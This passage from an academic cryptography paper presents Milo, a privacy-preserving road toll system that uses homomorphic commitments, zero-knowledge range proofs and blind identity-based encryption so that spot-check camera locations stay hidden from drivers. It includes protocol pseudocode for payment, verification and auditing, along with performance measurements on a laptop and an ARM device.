In some respects, the organization of Milo is similar
to that of current toll collection systems. The driver will
keep a certain amount of money in an account with the
TSP; at the end of every month the driver will then pay
some price appropriate for how much she drove and the
amount of money remaining in the account will need to
be replenished. The major difference, of course, is that
the payments of the driver do not reveal any information
about their actual locations while driving.2 In addition, we
will require that the TC perform occasional spot checks
to guarantee that drivers are behaving honestly.

The OBU is a box installed in the car of the driver,
which is responsible for collecting location information,
computing the prices associated with the roads, and form-
ing the final payment information that is sent to the TSP

1De Jonge and Jacobs [19] appear to have been the first to note that
unobservable cameras are crucial for random spot checks.

2As also noted by Balasch et al. [4], the pricing structure itself
may of course reveal driver locations — e.g., if segment i costs 2i (see
Section 4), then all drivers’ paths are revealed by cost alone. This will
likely not be a problem in practice.
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Figure 1: An overview of how the Milo system works.
As we can see, the OBU deals with the TSP for payment
purposes (using the Pay protocol), but for spot checks it
interacts with the TC (using the Audit protocol). The TC
conducts these audits using both the information recorded
by the cameras it operates along the roads and the OBU’s
payment information, which is forwarded on from the
TSP after it has been checked to be correct (using the
VerifyPayment protocol).

at the end of each month. Its work in this stage is de-
scribed formally in our Pay algorithm, which we present
in Section 4.

The TSP is responsible for the collection of tolls from
the driver. At the end of each month, the TSP will receive
a payment message from the OBU as specified above. It
is then the job of the TSP to verify that this payment in-
formation is correct, using the VerifyPayment algorithm
outlined in Section 4. If the payment information is found
to be correctly formed then the TSP can debit the appro-
priate payment from the user’s account; otherwise, they
can proceed in a legal manner that is similar to the way in
which traffic violations are handled now.

The TC, as mentioned, is the local government respon-
sible for setting the prices on the roads, as well as the
fines for dishonest drivers who are caught. The TC is
also responsible for performing spot checks to ensure that
drivers are behaving honestly. Although this presents a
new computational burden for the TC (as compared to
PrETP, for example, which has the TSP performing the
spot checks), we believe that it is important to keep all lo-
cation information completely hidden from the TSP, as it
is a business with incentive to sell this information. Since
the TC already sees where each car is driving regardless
of which body performs the spot checks (since it is the
one operating the cameras), having it perform the audits
itself minimizes the privacy lost by the driver.

Note, however, that the formal guarantees of correct-
ness, security, and privacy provided by our system do not
depend on having the TSP and TC not collaborate. In fact,

both roles could be performed by a single organization.
Since in practice businesses such as E-ZPass play the role
of TSP, we recommend the separation of duties above to
avoid giving the TSP an incentive to monetize customers’
driving records. Of course, this assumes that regulation
or the courts will forbid the government from misusing
the information it collects.

2.2 Security model
In any privacy-preserving system, there are two goals
which are absolutely essential to the success of the sys-
tem: maintaining privacy, while still keeping users of the
system honest. We discuss what this means in the context
of electronic toll collection in the following two points:

• Driver privacy: Drivers should be able to keep their
locations completely hidden from any other drivers
who may want to intercept (and possibly modify)
their payment information on its way to the TSP.
With the exception of the random spot checks per-
formed by the audit authority (in our case the TC),
the locations of the driver should also be kept pri-
vate from both the TC and the TSP. This property
should hold even for a malicious TSP; as for the TC,
we would like to guarantee that, as a result of the
audit protocol, it learns only whether the driver was
present at certain locations and times of its choice,
even if it is malicious. The number of these locations
and times about which the TC can query is fixed and
a parameter of the audit protocol. An honest-but-
curious TC will query the driver at those locations
and times where she was actually observed, but a
malicious TC might query for locations where no
camera was present; see Section 4.3 for further dis-
cussion.

• Driver honesty: Drivers should not be able to tam-
per with the OBU to produce incorrect location or
price information; i.e., pretending they were in a
given location, using lower prices than are actually
assigned, or simply turning off the OBU to pretend
they drove less than they actually did. This property
should hold even if drivers are colluding with other
dishonest drivers, and should in fact hold even if
every driver in the system is dishonest.

These security goals should look fairly similar to those
outlined in previous work (e.g., PrETP or VPriv [39],
and inspired by the earlier work of Blumberg, Keeler,
and shelat [8]), but we note the consideration of possibly
colluding drivers as an essential addition. We also note
that we do not consider physical attacks (i.e., a malicious
party gaining physical access to a driver’s car) in this
model, as we believe these attacks to be out of scope.
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For ideal privacy, the locations of each driver would
be kept entirely private even from the TC. This does not
seem to be possible, however, as it would allow drivers to
behave dishonestly without any risk of getting caught. Be-
cause each camera does take away some degree of privacy
from the driver, we would like to minimize the number of
cameras operated by the TC; at the same time, we need
to keep it high enough so that the TC will have a very
good chance of catching any cheating drivers. We believe
this to be a fundamental limitation on the value of any
privacy-preserving tolling system, however, as they are
privacy preserving only when the spot-check cameras do
not monitor such a large fraction of trips that the records
themselves constitute a substantial privacy violation. As
Blumberg, Keeler, and shelat write, “Extensive camera
networks are simply not compatible with the kinds of pri-
vacy we demand since they collect too much information.
If misused, they can provide adequate data for real-time
tracking of vehicles” [8].

Finally, we note that these security properties are both
achieved by Milo, under the assumption that cameras are
randomly placed and invisible to drivers (i.e., the only
way camera locations can leak to drivers is during the
audit protocol). We discuss the potential issues with this
assumption in Section 6.

3 Cryptographic Background
Because our scheme follows closely the PrETP construc-
tion [4], we employ the same modern cryptographic
primitives as they do: commitment schemes and zero-
knowledge proofs, in addition to the more familiar primi-
tive of digital signatures [26]. In addition, to keep the spot-
check camera locations hidden from drivers, we make use
of another primitive, blind identity-based encryption, in a
manner that is inspired by the oblivious transfer protocol
of Green and Hohenberger [28].

3.1 Commitments
A commitment scheme is essentially the cryptographic
relative of an envelope, and consists of two main phases:
forming the commitment and opening the commitment.
First, to form a commitment to a certain value, a user
Alice can put the value in the envelope and then seal
the envelope; to keep the analogy going, let’s also as-
sume she sealed it in some special way such that only
she can open it. The sealed envelope then acts as her
commitment, which she can send on to another user Bob.
When the time comes, Alice can reveal the committed
value by opening the envelope and showing Bob its con-
tents. There are two properties that commitment schemes
satisfy: hiding and binding. The hiding property says
that, because Alice is the only one who can unseal the
envelope, Bob will not be able to learn any information
about its contents before she reveals them. In addition,

the binding property says that, because the envelope is
sealed, Alice will not be able to open it, change the value
inside, and give it back to Bob without him noticing. In
other words, when Alice finally reveals the opening of
the commitment, Bob can be satisfied that those were
the values inside all along. We will use the notation
c = Com(m;r) to mean that c is a commitment to the
message m using some randomness r. (Note that there
are also some parameters involved, but that here and
in the primitives that follow we omit them for simplic-
ity.)

One more property we will require of our commitment
schemes is that they are additively homomorphic. This
means that there is an operation on commitments, call
it �, such that if c1 is a commitment to m1 and c2 is a
commitment to m2, then c1 � c2 will be a commitment to
m1 +m2. This property can be achieved by a variety of
schemes; to best suit our purposes, we work with Fujisaki-
Okamoto commitments [18, 22], which rely on the Strong
RSA assumption for their security.

3.2 Zero-knowledge proofs

Our second primitive, zero-knowledge proofs [24, 25],
provides a way for someone to prove to someone else
that a certain statement is true without revealing anything
beyond the validity of the statement. For example, a user
of a protected system might want to prove the statement “I
have the password corresponding to this username” with-
out revealing the password itself. The two main prop-
erties of zero-knowledge proofs are soundness and zero
knowledge. Soundness guarantees that the verifier will
not accept a proof for a statement that is false; in the
above example, this means that the system will accept the
proof only if the prover really does have the password.
Zero knowledge, on the other hand, protects the prover’s
privacy and guarantees that the system in our example
will not learn any information about the password itself,
but only that the statement is true. A non-interactive
zero-knowledge proof (NIZK for short) is a particularly
desirable type of proof because, as the name indicates,
it does not require any interaction between the prover
and the verifier. For a given statement S, we will use the
notation π = NIZKProve(S) to mean a NIZK formed by
the prover for the statement S. Similarly, we will use
NIZKVerify(π,S) to mean the process run by the verifier
to check, using π , that S is in fact true. In our system
we will need to prove only one type of statement, often
called a range proof, which proves that a secret value x
satisfies the inequality lo ≤ x < hi, where lo and hi are
both public. For this we can use Boudot range proofs
and their extensions [11, 34], which are secure in the
random oracle model [6] and assuming the Strong RSA
assumption.
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3.3 Blind identity-based encryption

Finally, to maintain driver honesty even in the case of
possible collusions between drivers (as discussed in Sec-
tion 2), we use an additional cryptographic primitive:
identity-based encryption [10, 42]. Intuitively, identity-
based encryption (IBE for short) extends the notion of
standard public-key encryption by allowing a user’s pub-
lic key to be, rather than just a random collection of bits,
some meaningful information relevant to their identity;
e.g., their e-mail address. This is achieved through the
use of an authority, who possesses some master secret key
msk and can use it to provide secret keys corresponding
to given identities on request (provided, of course, that
the request comes from the right person). When we work
with IBE, we will use the syntax C = IBEnc(id;m) to
mean an identity-based encryption of the message m, in-
tended for the person specified in the identity id. We will
similarly use m = IBDec(skid;C) to mean the decryption
of C using the secret key for the identity id.

Because of how IBE is integrated into our system, we
will need the IBE to be augmented by a blind extraction
protocol: a protocol interaction between a user and the
authority at the end of which the user obtains the secret
key corresponding to some identity of her choice, but
the authority does not learn which identity was requested
(and also does not learn the secret key for that identity).
This process of getting the secret key will be denoted as
skid = BlindExtract(id), keeping in mind that the author-
ity learns neither id nor skid. As we show in Section 4,
this property (introduced by Green and Hohenberger [28])
is crucial for guaranteeing that drivers do not learn where
the TC has its cameras.

Furthermore, we would like our IBE to be anony-
mous [2], meaning that given a ciphertext C, a user cannot
tell which identity the ciphertext is meant for (so, in par-
ticular, they cannot check to see if a guess is correct).
Again, as we show in Section 4, this property is necessary
to ensure that the TSP cannot simply guess and check
where the driver was at a given time, and thus potentially
learn information about her whereabouts.

To the best of our knowledge, there are two blind and
anonymous IBEs in the cryptographic literature: the first
due to Camenisch, Kohlweiss, Rial, and Sheedy [13]
and the second to Green [27]; both are blind variants on
the Boyen-Waters anonymous IBE [12]. While either of
these schemes would certainly work for our purposes,
we chose to come up with our own scheme in order to
maximize efficiency. Our starting point is the Boneh-
Franklin IBE [10], which is already anonymous [2, Sec-
tion 4.5]. We then introduce a blind key-extraction pro-
tocol for Boneh-Franklin, based on the Boldyreva blind
signature [9]. Finally, we “twin” the entire scheme to es-
sentially run two copies in parallel; this is just to facilitate

a “Twin Diffie-Hellman” style security proof [15]. We
give a full description of our scheme in the full version
of our paper [36], as well as a proof of its security in a
variant of the Green-Hohenberger security model. Our
IBE is conveniently efficient, but we stress that the Milo
system could be instantiated with any provably secure
IBE that is both blind and anonymous (and in particular
the schemes of Camenisch et al. and Green which, while
not as efficient as our scheme, have the attractive proper-
ties that they use significantly weaker assumptions and do
not rely on random oracles in their proofs of security).

In the broadest sense, our blind IBE can be viewed
as a special case of a secure two-party computation be-
tween the OBU and the TC, at the end of which the TC
learns whether or not the driver paid honestly for a given
segment, and the driver learns nothing (and in particular
does not learn which segment the TC saw her in). As
such, any efficient instantiation of this protocol as a se-
cure two-party computation would be sufficient for our
purposes. One promising approach, suggested by an anoy-
mous reviewer, uses an oblivious pseudorandom function
(OPRF for short) as a building block. With an OPRF, a
user with access to a seed k for a PRF f and another user
with input x can securely evaluate fk(x) without the first
user’s learning x or fk(x), and without the second user’s
learning the seed k; this can be directly applied to our set-
ting by treating the seed k as a value known by the OBU,
and the input x as the segment in which the TC saw the
driver. An efficient OPRF was recently given by Jarecki
and Liu [32]. Compared to our approach, the OPRFs of
Jarecki and Liu may require increased interaction (which
has implications for concurrent security) and potentially
more computation than ours.

4 Our Construction
In this section, we describe the various protocols used
within our system and how they meet the security goals
described in Section 2.2; we note that only Algorithm 4.3
substantially differs from what is used in PrETP. There
are three main phases we consider: the initialization of
the OBU, the forming and verifying of the payments per-
formed by the OBU and the TSP respectively, and the
audit between the TC and the OBU. Below, we will detail
the functioning of each of these algorithms; first, though,
we give some intuition for how our scheme works and
why the use of blind identity-based encryption means the
audit protocol does not leak the locations of spot-check
cameras to drivers.

In the audit protocol, the driver needs to show that her
actual driving is consistent with the fee she chose to pay.
To do this, she must upload her (claimed) driving history
to the TSP’s server; if she didn’t, the TSP would have
nothing to check the correctness of. Obviously, simply
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uploading this history in the clear would provide no pri-
vacy. The VPriv system sidesteps this by having the driver
upload the segments anonymously (using an anonymizing
service such as Tor [20]), accompanied by a “tag” that
will allow her to claim them as her own. We instead fol-
low PrETP in having the driver upload a commitment
of sorts to each of her segments. In addition, the driver
commits to the cost associated with each segment using
the additively homomorphic commitment scheme. Check-
ing that the total payment is the sum of the fees for each
committed segment is now easy: using the homomorphic
operation �, the TSP can compute a commitment to the
sum of the committed fees; the driver then provides the
opening of this sum commitment, showing that its value
is the fee she paid.3

What remains is to prove that the committed segments
the driver uploaded to the server are in fact the segments
she drove, and that the committed fee she uploaded along-
side each is in fact the fee charged for driving it. Fol-
lowing VPriv, PrETP, and de Jonge and Jacobs’ system
(see Section 7), we rely on spot check cameras. The TC’s
cameras observed the driver at a few locations over the
course of the month. It now challenges the driver to show
that these locations are among the committed segments,
and that the corresponding committed fees are correct. If
the driver cannot show a commitment that opens to one of
these spot check locations, she has been caught cheating;
if the spot check locations are unpredictable then a simple
probability analysis (see Section 6.1) shows that a cheat-
ing driver will likely be caught. In PrETP, the spot check
has the TC sending to the driver the locations and times
where she was observed; the driver returns the index and
opening of the corresponding committed segments. This,
of course, leaks the spot check locations to the driver. To
get around this, we must somehow transmit the appro-
priate openings to the TC without the driver finding out
which commitments are being opened.

Identity-based encryption allows us to achieve exactly
the requirement above. Along with each of her commit-
ments, the driver encrypts the opening of the commitment
using IBE; the identity to which a commitment is en-
crypted is the segment location and time. She sends these
encrypted openings to the TC along with the commit-
ments themselves. (Note that it is crucial the ciphertext
not reveal the identity to which it was encrypted, since
otherwise the TSP and TC would learn the driver’s entire
driving history. This is why we require an anonymous
IBE.) Now, if the TC had the secret key for the identity
corresponding to the place and time where the driver was
spotted, it could decrypt the appropriate ciphertext, ob-
tain the commitment opening value, and check that the

3There is a technicality here: range proofs are needed to prevent the
driver from artificially reducing the amount she owes by committing to
a few negative values. See Section 4.2 for more on this.

corresponding commitment was properly formed. But
the TC can’t ask the driver for the secret key, since this
would also leak the spot-check location. Instead, it en-
gages with the driver in a blind key-extraction protocol.
The TC provides as input the location and time of the spot
check and obtains the corresponding secret key without
the driver learning which identity (i.e., location and time)
was requested. By undertaking the blind extraction proto-
col only a certain number of times, the driver limits the
number of spot checks the TC can perform.

Note that this is essentially an oblivious transfer proto-
col; our solution is in fact closely related to the oblivious
transfer protocol of Green and Hohenberger [28], who
introduced blind IBE.

Before any of the three phases can take place, the TC
first decides on the segments used for payment and how
much each one actually costs. It starts by dividing each
road into segments of some appropriate length, for exam-
ple one city block in denser urban areas or one mile along
a highway in less congested areas. Because prices might
change according to time of day, the TC also decides on a
division of time into discrete quanta based on some “time
step” when a new segment must be recorded by the OBU
(even if the location endpoint has not yet been reached).
For example, if two location endpoints are set as Exit 17
and Exit 18 on a highway and the time step is set to be
a minute, then a driver traveling between these exits for
more than a minute will have segments with the same
location endpoints, but different time endpoints. In par-
ticular, if this driver starts at 22:00 and takes about three
minutes to get from one exit to the other, she will end up
with three segments:4

•
(
(exit 17,exit 18),(22:00,22:01)

)
;

•
(
(exit 17,exit 18),(22:01,22:02)

)
; and

•
(
(exit 17,exit 18),(22:02,22:03)

)
.

Each segment is of the form
(
(loc1, loc2),(time1, time2)

)
;

in the future, we denote these segments as (where,when),
where where represents the physical limits of the seg-
ment and when represents the particular time quantum
during which the driver was in the segment where. For
each of these segments, the TC will have assigned some
price; this can be thought of as a publicly available func-
tion f : (where,when) → [0,M], where M is the maxi-
mum price assigned by the TC.

4.1 Initialization
Before any payments can be made, there are a number of
parameters that need to be loaded onto the OBU. To start,

4In practice, the segment information will of course be more detailed;
as a byproduct of using GPS anyway, each car will have access to precise
coordinate and time information (including date).
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the OBU will be given some unique value to identify itself
to the TSP; we refer to this value as tag. Because the OBU
will be signing all the messages it sends, it first needs to
generate a signing keypair (vktag,sktag); the public verifi-
cation key will need to be stored with both the TSP and
TC, while the signing key will be kept private. We will
also use an augmented version of the BlindExtract pro-
tocol (mentioned in Section 3.3) in which the OBU and
TC will sign their messages to each other, which means
the OBU will need to have the verification key for the
TC stored as well (alternatively, they could just commu-
nicate using a secure channel such as TLS). In addition,
the OBU will need to generate parameters for an IBE
scheme in which it possesses the master secret key msk,
as well as to load the parameters for the commitment and
NIZK schemes (note that it is important the OBU does
not generate these latter parameters itself, as otherwise
the driver would be able to cheat). Finally, the OBU will
also need to have stored the function f used to define road
prices.

4.2 Payments
Once the OBU is set up with all the necessary parame-
ters, it can begin making payments. As the driver travels,
the GPS picks up location and time information, which
can then be matched to segments (where,when). For
each of these segments, the OBU first computes the cost
for that segment as p = f (where,when). It then com-
putes a commitment c to this value p; we will refer to the
opening of this commitment as openc. Next, the OBU
computes an identity-based encryption C of the open-
ing openc along with a confirmation value 0λ , using the
identity id = (where,when). Finally, the OBU computes
a non-interactive zero-knowledge proof π that the value
contained in c is in the range [0,M]. This process is then
repeated for every segment driven, so that by the end
of the month the OBU will end up with a set of tuples{
(ci,Ci,πi)

}n
i=1. In addition to this set, the OBU will also

need to compute the opening openfinal for the commit-
ment cfinal = c1 � c2 � · · ·� cn; i.e., the opening for the
commitment to the sum of the prices, which effectively
reveals how much the driver owes. The OBU then cre-
ates the final message m =

(
tag,openfinal,

{
(ci,Ci,πi)

}
i

)
,

signs it to get a signature σm, and sends to the TSP the
tuple (m,σm). This payment process is summarized in
Algorithm 4.1. The parameter λ , set to 160 for 80-bit
security, is explained below.

Once the TSP has received this tuple, it first looks up
the verification key for the signature using tag. If it is
satisfied that this message came from the right OBU, then
it performs several checks; if not, it aborts and alerts
the OBU that something went wrong (i.e., the message
was manipulated in transit) and it should resend the tuple.
Next, it checks that each commitment ci was properly

Algorithm 4.1: Pay, run by the OBU

Input: segments
{
(wherei,wheni)

}n
i=1, identifier tag,

signing key sktag
forall 1 ≤ i ≤ n do1

pi = f (wherei,wheni)2

ci = Com(pi;ri)3

Ci = IBEnc
(
(wherei,wheni);(pi;ri;0λ )

)
4

πi = NIZKProve(0 ≤ pi ≤ M)5

openfinal =
(∑

i pi;
∑

i ri
)

6

m =
(
tag,openfinal,

{
(ci,Ci,πi)

}n
i=1

)
7

σm = Sign(sktag,m)8

return (m,σm)9

formed by acting as the verifier for the NIZK πi; if one of
these checks failed then it knows that the driver committed
to an incorrect price (for example, a negative price to try
to drive down her monthly bill). The TSP then performs
the homomorphic operation on the commitments to get
cfinal = c1 � c2 � · · ·� cn and checks that openfinal is the
opening for cfinal. If all these checks pass, the TSP can
debit pfinal (contained in openfinal) from the user’s account;
if not, something has gone wrong and the TSP can flag the
driver as suspicious and continue on to legal proceedings,
as is done with current traffic violations. This algorithm
is summarized in Algorithm 4.2.

In terms of privacy, the hiding property of the com-
mitment scheme and the zero knowledge property of
the NIZK scheme guarantee that the driver’s informa-
tion is being kept private from the TSP. Furthermore, the
anonymity of the IBE scheme guarantees that, although
the segments are used as the identity for the ciphertexts Ci,
the TSP will be unable to learn this information given just
these ciphertexts. In addition, some degree of honesty is
guaranteed. First, because the message was signed by the
OBU, the TSP can be sure that the tuple came from the
correct driver and not some other malicious driver trying
to pass herself off as someone else (or cause the first driver
to pay more than she owes). Furthermore, if all the checks
pass then the binding property of the commitment scheme
and the soundness property of the NIZK scheme guaran-
tee that the values contained in the commitments are to
valid prices and so the TSP can be somewhat convinced
that the price pfinal given by the driver is the correct price
she owes for the month. The TSP cannot, however, be
convinced yet that the driver did not simply turn off her
OBU or otherwise fake location or price information; for
this, it will need to forward the payment tuple to the TC,
which initiates the audit phase of the protocol.

4.3 Auditing
As we argued in Section 2.2, although the audit protocol
does take away some degree of privacy from the driver,
this small privacy loss is necessary to ensure honesty
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Algorithm 4.2: VerifyPayment, run by the TSP
Input: payment tuple (m,σm), verification key vktag
if SigVerify(vktag,m,σm) = 0 then1

return ⊥2

parse m as
(
tag,openfinal,

{
(ci,Ci,πi)

}n
i=1

)
3

forall 1 ≤ i ≤ n do4

if NIZKVerify
(
(ci,πi),0 ≤ pi ≤ M

)
= 0 then5

return suspicious6

cfinal = c1 � · · ·� cn7

if cfinal = Com(openfinal) then8

parse openfinal as (pfinal;rfinal)9

debit account for tag by pfinal10

return okay11

else12

return suspicious13

within the system. We additionally argued that the TC
should not reveal to the driver the locations of the cameras
and furthermore believe that the driver should not even
learn the number of cameras at which the TC saw her, as
even this information would give her opportunity to cheat
(for more on this see Section 6). We therefore assume
that the TC makes some fixed number of queries k for
every driver, regardless of whether or not it has in fact
seen the driver k times. To satisfy this assumption, if the
TC has seen the driver on more than k cameras, it will
just pick the first k (or pick k at random, it doesn’t matter)
and query on those. If it has seen the driver on fewer
than k cameras, we can designate some segment to be a
“dummy” segment, which essentially does not correspond
to any real location/time tuple. The TC can then query on
this dummy segment until it has made k queries in total;
because the part of the protocol in which the TC performs
its queries is blind, the OBU won’t know that it is being
queried on the same segment multiple times.

After the TSP has forwarded the OBU’s payment tu-
ple to the TC, the TC first checks that the message re-
ally came from the OBU (and not, for example, from
a malicious user or even the TSP trying to frame the
driver). As with the TSP, if this check fails then it can
abort the protocol and alert the OBU or TSP. It then ex-
tracts the tuples

{
(ci,Ci,πi)

}
from m and begins issuing

its random spot checks to ensure that the driver was not
lying about her whereabouts. This process is outlined
in Algorithm 4.3. Because there were a certain number
of cameras the driver passed, the TC will have a set of
tuples

{
(loci, timei)

}
of its own that correspond to the

places and times at which the TC saw the driver. First,
for every pair (loc, time), the TC will need to determine
which segment this pair belongs to; this then gives it
a set

{
(wherei,wheni)

}
of tuples that the driver would

have logged if they were behaving honestly (unless the
set has been augmented by the dummy segment as de-

scribed above, in which case the OBU clearly will not
have logged this segment).

After the TC has this set of tuples, it uses the identity-
based encryption Cj contained within every tuple sent
by the OBU. Recall from Algorithm 4.1 that the iden-
tity corresponding to each encryption is the segment
(where j,when j), and that the encryption itself is of the
opening of the commitment c j (contained in the same
tuple), along with a confirmation value 0λ . Therefore, if
the TC can obtain the secret key skid from the OBU for
the identity id = (where j,when j), then it can successfully
decrypt the ciphertext and obtain the opening for the com-
mitment, which it can then use to check if the driver is
recording correct price information. Because the TC does
not know which ciphertext corresponds to which segment,
however, once the TC obtains this secret key it will then
need to attempt to decrypt each Cj.

To prevent drivers from using a single commitment
to pay for two segments, we require that it be compu-
tationally difficult to find a ciphertext C that has valid
decryptions under two identities id1 and id2. For our IBE,
it is sufficient to encrypt a confirmation value 0λ along
with the message (where λ = 160 for 80-bit security),
since messages are blinded with a random oracle hash
that takes the identity as input. On decryption, one checks
that the correct confirmation value is present. Note that
we do not require CCA security.

If Cj does decrypt properly for some j, then the TC
checks that the value contained inside is the opening of
the commitment c j. If it is, then the TC further checks that
the price p j is the correct price for that road segment by
computing f (where j,when j). If this holds as well, then
the TC can be satisfied that the driver paid correctly for
the segment of the road on which she was seen and move
on to the next camera. If it does not hold, then the TC
has reason to believe that the driver lied about the price
of the road she was driving on. If instead the opening
is not valid, the TC has reason to believe that the driver
formed either the ciphertext Cj or the commitment c j
incorrectly. Finally, if none of the ciphertexts properly
decrypted using skid (i.e., Cj did not decrypt for any value
of j), then the TC knows that the driver simply omitted the
segment (where j,when j) from her payment in an attempt
to pretend she drove less. In any of these cases, the
TC believes the driver was cheating in some way and
can undertake legal proceedings. If all of these checks
pass for every camera, then the driver has successfully
passed the audit and the TC is free to move on to another
user.

In terms of driver honesty, the addition of BlindExtract
allows the TC to obtain skid without the OBU learning the
identity, and thus the location at which they were caught
on camera. As argued in Section 2, this is absolutely cru-
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Algorithm 4.3: Audit, run by the TC
Input: payment tuple (m,σm), camera tuples

{(loci, timei)}k
i=1, verification key vktag

if SigVerify(vktag,m,σm) = 0 then1

return ⊥2

parse m as (tag,openfinal,{(c j,Cj,π j)}n
j=1)3

forall 1 ≤ i ≤ k do4

determine segment (wherei,wheni) for5

(loci, timei)
ski = BlindExtract(wherei,wheni)6

match = 07

forall 1 ≤ j ≤ n do8

m j = IBDec(ski;Cj)9

if m j parses as (p j;r j;0λ ) then10

match = 111

if Com(m j) �= c j then12

return suspicious13

if p j �= f (wherei,wheni) then14

return suspicious15

break16

if match = 0 then17

return suspicious18

return okay19

cial for maintaining driver honesty, both individually and
in the face of possible collusions. In terms of privacy, if
the OBU and TC sign their messages in the BlindExtract
phase, then we can guarantee that no malicious third party
can alter messages in their interaction in an attempt to
learn the segment in which the driver was caught on cam-
era (or, alternatively, frame the driver by corrupting skid).
As mentioned in Section 2, whereas the cameras do take
away some part of the driver’s privacy, they are necessary
to maintain honesty; we also note that no additional in-
formation is revealed throughout the course of this audit
interaction provided both parties behave honestly. One
potential downside of this protocol, however, is that the
TC is not restricted to querying locations at which it had
cameras; it can essentially query any location it wants
without the driver’s knowledge (although the driver is at
least aware of how many queries are being made). We
believe that our system could be augmented to resist such
misbehavior through an “audit protocol audit protocol”
that requires the TC to demonstrate that it actually has
camera records corresponding to some small fraction of
the spot check it performs, much as its own audit protocol
requires the driver to reveal some small fraction of its
segments driven. This “audit audit” could be performed
on behalf of drivers by an organization such as EFF or
the ACLU; alternatively, in some legal settings an exclu-
sionary rule could be introduced that invalidates evidence
obtained through auditing authority misbehavior.

Time (ms)

Operation Laptop ARM

Creating parameters 75.12 1083.61
Encryption 82.11 1187.82
Blind extraction (user) 13.13 214.06
Blind extraction (authority) 11.21 175.25
Decryption 78.31 1131.58

Table 1: The average time, in milliseconds and over a run
of 10, for the various operations in our blind IBE protocol,
performed on both a MacBook Pro and an ARM v5TE.
The numbers for encryption and decryption represent the
time taken to encrypt/decrypt a pair of 1024-bit numbers
using the curve y2 = x3 + x mod p at the 80-bit security
level, and the numbers for blind extraction represent the
time to complete the computation required for each side
of the interactive protocol.

5 Implementation and Performance
In order to achieve a more effective audit protocol, an
extra computational burden is required for both the OBU
and the TC. In this section, we consider just how great this
additional burden is; in particular, we focus on our blind
identity-based encryption protocol from the full version
of our paper [36], as well as Algorithm 4.3 from Sec-
tion 4.3. The benchmarks presented for these protocols
were collected on two machines: a MacBook Pro running
Mac OS X 10.6 with a 2.53GHz Intel Core 2 Duo proces-
sor and 4GB of RAM, and an ARM v5TE running Linux
2.6.24 with a 520MHz processor and 128MB of RAM.
We believe that the former represents a fairly conserva-
tive estimate for the amount of computational resources
available to the TC, whereas the latter represents a ma-
chine that could potentially be used as an OBU. For the
bilinear groups needed for blind IBE we used the supersin-
gular curve y2 = x3 + x mod p for a large prime p (which
has embedding degree 2) within version 5.4.3 of the MIR-
ACL library [41], and for the NIZKs and commitments we
used ZKPDL (Zero-Knowledge Proof Description Lan-
guage) [35], which itself uses the GNU multi-precision
library [23] for modular arithmetic.

Table 1 shows the time taken for each of the unit oper-
ations performed within the IBE scheme. As mentioned
in Section 4, in the context of our system the creation
of the parameters will be performed when the OBU is
initialized, the encryption will be performed during the
Pay protocol (line 4 of Algorithm 4.1), and both blind
extraction and decryption will be performed in the audit
phase between the TC and the OBU (lines 6 and 9 of
Algorithm 4.3 respectively).

We consider the computational costs for the OBU and
the TC separately, as well as the communication overhead
for the whole system.5

5We do not consider the computational costs for the TSP here, as
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OBU computational costs. During the course of a
month (or however long an audit period is), the OBU is
required to spend time performing computations for two
distinct phases of the Milo protocol. The first phase is the
Pay protocol, which consists of computing the commit-
ments to segment prices, encrypting the openings of the
commitments, and producing a zero-knowledge proof that
the value in the commitment lies in the right range. From
Table 1, we know that encryption takes roughly a sec-
ond when encrypting 1024-bit number on the ARM. As
these correspond to “medium security” in PrETP [4, Ta-
ble 2], and our commitments and zero-knowledge proofs
are essentially identical to theirs, we can use the relevant
timings from PrETP to see that the total time taken for
the Pay protocol should be at most 20 seconds per seg-
ment. As long as the time steps are at least 20 seconds
and the segment lengths are at least half a mile (assuming
people drive at most 90 miles per hour), the calculations
can therefore be done in real time.

The second phase of computation is the end of the
month audit protocol. Here, the OBU is responsible for
acting as the IBE authority to answer blind extraction
queries from the TC. As we can see in Table 1, each
query takes the OBU approximately 175 milliseconds,
independent of the number of segments. If the TC makes
a small, fixed number of queries, say ten, for each vehicle,
then the OBU will spend only a few seconds in the Audit
protocol each month.

TC computational costs. In the course of the Audit
protocol, the TC has to perform a number of complex
calculations. In particular, the cost of challenging the
OBU for each camera is proportional to the number of
segments the OBU reported driving.

To obtain our performance numbers for the audit pro-
tocol, we considered the driving habits of an average
American, both in terms of time spent and distance driven.
For time, we assumed that an average user would have a
commute of 30 minutes each way, meaning one hour each
day, in addition to driving between two and three hours
each weekend. For distance, we assumed that an average
user would drive around 1,000 miles each month. While
we realize that these averages will vary greatly between
locations (for example, between a city and a rural area),
we believe that these measures still give us a relatively
realistic setting in which to consider our system.

Table 2 gives the time it takes for the TC to challenge
the OBU on a single segment for several segment lengths
and time steps; we can see that the time taken grows
approximately linearly with the number of segments.
To determine the number of segments, we considered

they are essentially the same as they were within PrETP; the numbers
they provide should therefore provide a reasonably accurate estimate
for the cost of the TSP within our system as well.

both fine-grained and coarse-grained approaches. For the
fine-grained approach, we considered a time step of one
minute. Using our assumptions about driving habits, this
means that in a 30-day month with 22 weekdays, our
average user will drive approximately 1,320 segments.
Adding on an extra 680 segments for weekends, we can
see that a user might accumulate up to 2,000 segments in
a month. In the way that road prices are currently decided,
however, a time step of one minute seems overly short, as
typically there are only two times considered throughout
the day: peak and off-peak. We therefore considered next
a time step of one hour, keeping our segment length at
1 mile. Here the number of miles driven determines the
number of segments rather than the minutes spent in the
car, and so we end up with approximately 1,000 segments
for the month. Finally, we considered a segment length
of 2 miles, keeping our time step at one hour; we can see
that this results in approximately half as many segments
as before, around 500 segments. Longer average physical
segment lengths would result in an even lower number of
segments (and therefore better performance).

Communication overhead. Looking at Table 3, we
can see that the size of a payment message is approxi-
mately 6kB per segment; furthermore, this size is domi-
nated by the NIZK (recall that each segment requires a
commitment, a NIZK, and a ciphertext), which accounts
for over 90% of the total size. For our parameter choices
in Table 2, this would result in a total payment size of
approximately 11MB in the worst case (with 2000 seg-
ments) and 3MB in the best case (with 500 segments).
In PrETP, on the other hand, the authors claim to have
sizes of only 1.5kB per segment [4, Section 4.3]. Using
their more compact segments with our ciphertexts added
on would therefore result in a segment size of only 2kB,
which means the worst-case size of the entire payment
message would be under 4MB (and the best-case size
approximately 1MB).

Finally, we can see that the overhead for the rest of the
Audit protocol is quite small: each blind IBE key sent
from the OBU to the TC is only 494 bytes; if the TC
makes ten queries per audit, then the total data transferred
in the course of the protocol is about 5kB.

5.1 Milo cost analysis
If we continue to assume that the TC always queries the
user on ten cameras, then the entire auditing process will
take less than 10 minutes per user in the worst case (when
there are 2,000 segments) and less than 2 minutes in the
best case (when there are 500 segments). If we consider
